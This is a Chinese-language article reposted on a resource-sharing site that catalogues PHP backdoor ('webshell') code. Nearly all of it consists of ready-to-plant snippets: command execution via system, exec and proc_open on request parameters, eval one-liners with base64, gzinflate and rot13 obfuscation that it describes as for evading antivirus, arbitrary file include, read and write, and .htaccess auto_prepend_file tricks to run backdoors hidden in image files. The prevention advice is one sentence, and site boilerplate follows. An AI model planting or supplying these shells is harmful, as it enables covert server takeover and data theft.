php后门木马常用命令分析与防范
php后门木马常用的函数大致上可分为四种类型: 1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open 2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13 3. 文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite 4. .htaccess: SetHandler, auto_prepend_file, auto_append_file 1. 执行系统命令: system 函数 //test.php?cmd=ls system($_GET[cmd]); passthru 函数 //test.php?cmd=ls passthru($_GET[cmd]); shell_exec 函数 //test.php?cmd=ls echo shell_exec($_GET[cmd]); exec 函数 //test.php?cmd=ls $arr = array(); exec($_GET[cmd],$arr); print_r($arr); popen 函数 //test.php?cmd=ls $handle = popen(\’$_GET[cmd], \’r\’); $read = fread($handle, 2096); echo $read; pclose($handle); proc_open 函数 //test.php?cmd=ls $descriptorspec = array( 0 => array(\’pipe\’, \’r\’), 1 => array(\’pipe\’, \’w\’), 2 => array(\’pipe\’, \’w\’), ); $proc = @proc_open($_GET[cmd], $descriptorspec, $pipes); fclose($pipes[0]); $output = array(); while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\\n")); print_r($output); 2. 代码执行与加密: eval 函数 //最常见的一句话木马 eval($_POST[cmd]); base64_decode 函数 //为了免杀及隐藏而加密代码 //密文: eval($_POST[\’cmd\’]); eval(base64_decode(\’ZXZhbCgkX1BPU1RbJ2NtZCddKTs=\’)); gzinflate 函数 //为了免杀及隐藏而加密代码 //密文: eval($_POST[\’cmd\’]); eval(gzinflate(base64_decode(\’Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==\’))); gzuncompress 函数 //为了免杀及隐藏而加密代码 //密文: eval($_POST[\’cmd\’]); eval(gzuncompress(base64_decode(\’eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==\’))); gzdecode 函数 //为了免杀及隐藏而加密代码 //密文: eval($_POST[\’cmd\’]); eval(gzdecode(base64_decode(\’H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==\’))); str_rot13 函数 //为了免杀及隐藏而加密代码 //密文: eval($_POST[cmd]); eval(str_rot13(\’riny($_CBFG[pzq]);\’)); assert 函数 //类似eval函数 assert($_POST[cmd]); call_user_func 函数 //使用call_user_func调用assert call_user_func(\’assert\’,$_POST[cmd]); call_user_func 函数 //使用call_user_func调用任意函数 //test.php?a=assert&cmd=phpinfo() call_user_func($_GET[a],$_REQUEST[cmd]); 组合代码 //组合方式调用任意函数 //test.php?a=assert&cmd=phpinfo() $_GET[a]($_REQUEST[cmd]); 3. 文件包含与生成: require 函数 //包含任意文件 //test.php?file=123.jpg require($_GET[file]); require_once 函数 //包含任意文件 //test.php?file=123.jpg require_once($_GET[file]); include 函数 //包含任意文件 www.chnhack.com //test.php?file=123.jpg include($_GET[file]); include_once 函数 //包含任意文件 //test.php?file=123.jpg include_once($_GET[file]); file_get_contents 函数 //读取任意文件 //test.php?f=config.inc.php echo file_get_contents($_GET[\’f\’]); file_put_contents 函数 //生成任意内容文件 //a=test.php&b= file_put_contents($_GET[a],$_GET[b]); fputs 函数 //生成任意内容文件 //a=test.php&b= fputs(fopen($_GET[a],"w"),$_GET[b]); 4. .htaccess: SetHandler //可将php代码存于非php后缀文件,例: x.jpg //将以下代码写入.htaccess中 //连接x.jpg即可启动后门木马出处www.admin8.us SetHandler application/x-httpd-php auto_prepend_file //可将php代码存于非php后缀文件,例: 123.gif //将以下代码写入.htaccess中, 文件路径必须是绝对路径 //访问网站上任何php文件都会启动该php后门木马 //可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马 php_value auto_prepend_file c:/apache2/htdocs/123.gif auto_append_file //类似auto_prepend_file //可将php代码存于非php后缀文件,例: 123.gif //将以下代码写入.htaccess中, 文件路径必须是绝对路径 //访问网站上任何php文件都会启动该php后门木马 php_value auto_append_file c:/apache2/htdocs/123.gif 本文由A8站长网首发防范:这里就简单的介绍下防范,通过php.ini屏蔽一些命令,服务器做好安全配置,定期查找网站后门。 具体的软件可以到s.jb51.net下载使用
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » php后门木马常用命令分析与防范
常见问题FAQ
- 免费下载或者VIP会员专享资源能否直接商用?
- 本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
- 织梦模板使用说明
- 你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html